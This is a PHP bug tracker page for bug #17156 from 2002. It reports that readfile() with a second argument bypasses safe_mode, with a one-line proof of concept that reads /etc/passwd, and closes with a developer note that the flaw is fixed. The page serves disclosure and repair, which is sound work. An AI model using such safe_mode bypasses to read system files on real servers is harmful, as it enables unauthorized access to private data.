php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #17156 readfile can bypass safe_mode
Submitted: 2002-05-11 15:22 UTC Modified: 2002-05-11 16:00 UTC
From: ilia at prohost dot org Assigned:
Status: Closed Package: Scripting Engine problem
PHP Version: 4.2.0 OS: Linux 2.4.18
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: ilia at prohost dot org
New email:
PHP Version: OS:

 

 [2002-05-11 15:22 UTC] ilia at prohost dot org
If a readfile() function is passed 2nd parameter it can be used to read ANY file on the system regardless of safe_mode.

ex.

<?php
readfile('/etc/passwd', 1);
?>

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2002-05-11 16:00 UTC] rasmus@php.net
Fixed in CVS (for all functions with a safemode_include_dir switch).  Note that this was only a problem if the safemode_include_dir was not defined in the php.ini file.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Wed May 22 03:01:32 2024 UTC